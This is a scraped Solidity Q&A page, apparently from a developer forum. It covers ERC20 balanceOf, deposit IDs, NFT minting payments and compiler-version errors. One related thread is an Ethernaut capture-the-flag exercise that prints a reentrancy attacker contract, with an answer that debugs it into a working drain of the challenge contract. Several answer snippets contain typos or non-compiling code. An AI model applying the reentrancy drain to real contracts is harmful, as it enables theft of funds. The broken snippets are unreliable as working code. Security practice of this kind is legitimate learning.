I Need To Know The Balance Of This Token After I Deploy It In Remix Ethereum Firefox. I Want To Know Where Do I Add The checkBalance Function. Plz Help Guys. This Is My First ERC20 Smart Contract.
pragma solidity ^0.5.0;
contract TusharCoin {
uint256 public totalSupply;
string public name;
string public symbol;
uint32 public decimals;
address public owner;
mapping(address => uint256 ) balances;
event Transfer(address to, uint256 amount);
constructor () public {
symbol = "TUSHAR";
name = "TusharCoin";
decimals = 5;
totalSupply = 100000000000;
owner = msg.sender;
balances[msg.sender] = totalSupply;
emit Transfer(msg.sender, totalSupply);
}
}
Your token currently isn't an ERC20 token as it doesn't fully implement the ERC20 standard yet.
To just add a balanceOf function to your existing contract you can add the following:
function balanceOf(address account) public view returns (uint256) {
return balances[account];
}
If you are creating your own ERC20 implementation then you should consider using SafeMath, see the documentation for details: https://docs.openzeppelin.com/contracts/2.x/utilities#math
If you are creating ERC20 tokens you may want to look at the OpenZeppelin Contracts implementation to see if this meets your needs. See the documentation for details: https://docs.openzeppelin.com/contracts/2.x/tokens#ERC20
An example ERC20 Token that you can deploy with Remix inheriting from the OpenZeppelin Contracts implementation is below using your specified name, symbol, decimals and totalSupply:
pragma solidity ^0.5.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.3.0/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.3.0/contracts/token/ERC20/ERC20Detailed.sol";
contract Token is ERC20, ERC20Detailed {
constructor () public ERC20Detailed("Tushar Token", "TUSHAR", 5) {
_mint(msg.sender, 1000000 * (10 ** uint256(decimals())));
}
}
If you have questions on using OpenZeppelin you can ask in the Community Forum: https://forum.openzeppelin.com/
Disclosure: I am the Community Manager at OpenZeppelin
Below, I have mention checkBalance function. In ERC20 standards checkBalance function to be stated as a balanceOf function.
In function, view means one can only read not write
function balanceOf(address accountAddress) public view returns (uint256) {
return balances[accountAddress];
}
Full source code.
pragma solidity ^0.5.0;
contract TusharCoin {
uint256 public totalSupply;
string public name;
string public symbol;
uint32 public decimals;
address public owner;
mapping(address => uint256 ) balances;
event Transfer(address to, uint256 amount);
constructor () public {
symbol = "TUSHAR";
name = "TusharCoin";
decimals = 5;
totalSupply = 100000000000;
owner = msg.sender;
balances[msg.sender] = totalSupply;
emit Transfer(msg.sender, totalSupply);
}
function balanceOf(address accountAddress) public view returns (uint256) {
return balances[accountAddress];
}
}
If you want whole code for ERC20. Let me know.
Related
I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.
I have coded the following to keep track of deposits into a smart contract.
I need to be able to reference individual deposits in future functions.
pragma solidity ^0.8.4;
contract DepositsWithIds {
address owner;
struct Deposit {
uint256 depositAmount;
address depositor;
uint256 counter;
}
constructor() payable {
owner = msg.sender;
}
Deposit[] public activeDeposits;
event DepositMade(address, uint256, uint256);
function deposit() public payable returns (uint256 counter) {
return ++counter;
Deposit memory newDeposit = Deposit(
msg.value,
msg.sender,
counter
);
activeDeposits.push(newDeposit);
emit DepositMade(msg.sender, msg.value, counter);
}
}
Is it a good idea to use the counter as a unique deposit ID?
How would you be able to connect activeDeposits.counter to activeDeposits.depositor when writing the next function?
uint public counter;
mapping(uint = > Deposit) public ids;
function deposit() public payable {
Deposit storage _deposit = ids[_counter];
_deposit.depositAmount = msg.value;
_deposit.depositor = msg.sender;
activeDeposits.push(_deposit);
_counter++;
emit DepositMade(msg.sender, msg.value);
}
You could take the counter out of struct:
struct Deposit {
uint256 depositAmount;
address depositor;
}
You set the counter as top state variable
uint256 counter;
you could have a mapping that maps the counterId to Deposit
mapping(uint156=>Deposti) public idToDeposit;
then get the deposit by id
function getDepositByID(uint id)public view {
idToDeposit[id]
}
you might come across of openzeppelin Counters.sol to use the counter
you install npm i #openzeppelin/contracts, import the ``Counters
import "../node_modules/#openzeppelin/contracts/utils/Counters.sol";
in your contract:
contract Test{
// this means all Counters.Counter types in your contract loaded with the methods of Counters library
using Counters for Counters.Counter;
Counters.Counter private depositIds;
}
I am writing a smart contract in Remix with Solidity. The purpose of the contract is to allow a user to mint an NFT for 1 ETH. At present, the user is able to mint and the contract accepts the payment (ie. the user's balance is properly subtracted). But when I check the address(this).balance of the contract with my accountBalance() function, the function returns 0. I have included the receive() function as per the Solidity docs:
event Received(address, uint);
receive() external payable {
emit Received(msg.sender, msg.value);
}
Can someone explain why this is happening and what I need to change about my contract? Here is my contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// imports
import '#openzeppelin/contracts/token/ERC721/ERC721.sol';
import '#openzeppelin/contracts/access/Ownable.sol';
import '#openzeppelin/contracts/security/PullPayment.sol';
// contract
contract RobocopPoster is ERC721, Ownable, PullPayment {
// constants
uint256 public mintPrice;
uint256 public totalSupply;
uint256 public maxSupply;
uint256 public maxPerWallet;
bool public mintEnabled;
mapping (address => uint256) public walletMints;
// constructor
// initialize variables
constructor() payable ERC721('RobocopPoster', 'SFFPC') {
mintPrice = 1 ether;
totalSupply = 0;
maxSupply = 1000;
maxPerWallet = 3;
}
event Received(address, uint);
receive() external payable {
emit Received(msg.sender, msg.value);
}
// functions
function setMintEnabled(bool mintEnabled_) external onlyOwner {
mintEnabled = mintEnabled_;
}
function withdrawPayments(address payable payee) public override onlyOwner virtual {
super.withdrawPayments(payee);
}
function accountBalance() public view returns (uint256) {
return (address(this).balance);
}
function mint(uint256 quantity_) public payable {
require(mintEnabled, 'Minting not enabled.');
require(msg.value == quantity_ * mintPrice, 'wrong mint value');
require(totalSupply + quantity_ <= maxSupply, 'sold out');
require(walletMints[msg.sender] + quantity_ <= maxPerWallet, 'exceed max wallet');
walletMints[msg.sender] += quantity_;
_asyncTransfer(address(this), msg.value);
for (uint i = 0; i < quantity_; i++) {
uint256 newTokenId = totalSupply + 1;
totalSupply++;
_safeMint(msg.sender, newTokenId);
}
}
}
You need to call withdrawPayments to receive the fund, because _asyncTransfer from PullPayment in your contract minting sent the fund to the escrow contract. That's why you saw zero balance in ERC721 contract.
Hello I want to make an NFT contract. Unfortunately something does not work correctly. Whenever I run the Mint function I get the message that I don't have enough ether. But I have 100 Ether on my testnet wallet.
What have I done wrong?
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "#openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "#openzeppelin/contracts/access/Ownable.sol";
contract NFTTest is ERC1155Supply, Ownable {
uint256 public price = 0.005 ether;
string public name = "NFT TEST";
constructor() ERC1155("https://do.main") {}
function setName(string memory _name) public onlyOwner
{
name = _name;
}
function getName() public view returns (string memory)
{
return name;
}
function mint(uint256 amount) external payable {
require(msg.value >= price, "Not enough cash");
_mint(msg.sender, amount, 1, "");
}
}```
If you are using Remix, must to set the value of Wei great than 0 each time you mint.
I'm trying to implement PatrickAlpha NFT implementation Github. When I followed readme instructions, collectibles are minted correctly. But If I tried to change anything in the code , it gives me error like this.
Compiling contracts...
Solc version: 0.6.6
Optimizer: Enabled Runs: 200
EVM Version: Istanbul
CompilerError: solc returned the following errors:
/Users/batuhansesli/.brownie/packages/smartcontractkit/chainlink-brownie-contracts#1.0.2/contracts/src/v0.6/VRFConsumerBase.sol:2:1: ParserError: Source file requires different compiler version (current compiler is 0.6.6+commit.6c089d02.Darwin.appleclang - note that nightly builds are considered to be strictly less than the released version
pragma solidity 0.6.0;
^--------------------^
For debug, I tried to change only ERC721 constructor parameters, but error occured again.
Original Code:
pragma solidity 0.6.6;
import "#openzeppelin/contracts/token/ERC721/ERC721.sol";
import "#chainlink/contracts/src/v0.6/VRFConsumerBase.sol";
contract AdvancedCollectible is ERC721, VRFConsumerBase {
uint256 public tokenCounter;
enum Breed{PUG, SHIBA_INU, ST_BERNARD}
// add other things
mapping(bytes32 => address) public requestIdToSender;
mapping(bytes32 => string) public requestIdToTokenURI;
mapping(uint256 => Breed) public tokenIdToBreed;
mapping(bytes32 => uint256) public requestIdToTokenId;
event requestedCollectible(bytes32 indexed requestId);
bytes32 internal keyHash;
uint256 internal fee;
constructor(address _VRFCoordinator, address _LinkToken, bytes32 _keyhash)
public
VRFConsumerBase(_VRFCoordinator, _LinkToken)
ERC721("Dogie", "DOG")
{
tokenCounter = 0;
keyHash = _keyhash;
fee = 0.1 * 10 ** 18;
}
function createCollectible(string memory tokenURI, uint256 userProvidedSeed)
public returns (bytes32){
bytes32 requestId = requestRandomness(keyHash, fee, userProvidedSeed);
requestIdToSender[requestId] = msg.sender;
requestIdToTokenURI[requestId] = tokenURI;
emit requestedCollectible(requestId);
}
function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override {
address dogOwner = requestIdToSender[requestId];
string memory tokenURI = requestIdToTokenURI[requestId];
uint256 newItemId = tokenCounter;
_safeMint(dogOwner, newItemId);
_setTokenURI(newItemId, tokenURI);
Breed breed = Breed(randomNumber % 3);
tokenIdToBreed[newItemId] = breed;
requestIdToTokenId[requestId] = newItemId;
tokenCounter = tokenCounter + 1;
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) public {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_setTokenURI(tokenId, _tokenURI);
}
}
My Code :
pragma solidity 0.6.6;
import "#openzeppelin/contracts/token/ERC721/ERC721.sol";
import "#chainlink/contracts/src/v0.6/VRFConsumerBase.sol";
contract FootballerCollectible is ERC721, VRFConsumerBase {
bytes32 internal keyHash;
uint256 public fee;
uint256 public tokenCounter;
enum Player{MBAPPE, NEYMAR, MESSI, RONALDO}
mapping (bytes32 => address) public requestIdToSender;
mapping (bytes32 => string) public requestIdToTokenURI;
mapping (uint256 => Player) public tokenIdToPlayer;
event requestedCollectible(bytes32 indexed requestId);
constructor(address _VRFCoordinator, address _LinkToken, bytes32 _keyhash) public
VRFConsumer(_VRFCoordinator, _LinkToken)
ERC721("Footballer", "FTC")
{
keyHash = _keyhash;
fee = 0.1 * 10 ** 18;
tokenCounter = 0;
}
function createCollectible(uint256 userProvidedSeed, string memory tokenURI)
public returns (bytes32) {
bytes32 requestId = requestRandomness(keyHash, fee, userProvidedSeed);
requestIdToSender[requestId] = msg.sender;
requestIdToTokenURI[requestId] = tokenURI;
emit requestedCollectible(requestId);
}
function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override{
address cardOwner = requestIdToSender[requestId];
string memory tokenURI = requestIdToTokenURI[requestId];
uint256 newItemId = tokenCounter;
_safeMint(cardOwner, newItemId);
_setTokenURI(newItemId, tokenURI);
Player player = Player(randomNumber % 4);
tokenIdToPlayer[newItemId] = player;
requestIdToTokenId[requestId] = newItemId;
tokenCounter = tokenCounter + 1;
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) public {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_setTokenURI(tokenId, _tokenURI);
}
}
Hi :) In the Error message that you received
Blockquote ParserError: Source file requires different compiler version (current compiler is 0.6.6+commit.6c089d02.Darwin.appleclang - note that nightly builds are considered to be strictly less than the released version
pragma solidity 0.6.0;
it says that you are trying to compile your contract with a different version of pragma solidity. The smart contract in question is:
[https://github.com/smartcontractkit/chainlink-brownie-contracts/blob/main/contracts/src/v0.6/VRFConsumerBase.sol]
which is using
pragma solidity ^0.6.0;
You are specifying to use version 0.6.6 in your contract which is later than the selected compiler. To get around this, you can either drop down to ^0.6.0 or you can change your pragma to
pragma solidity ^0.6.0;
For more information, you can read this ticket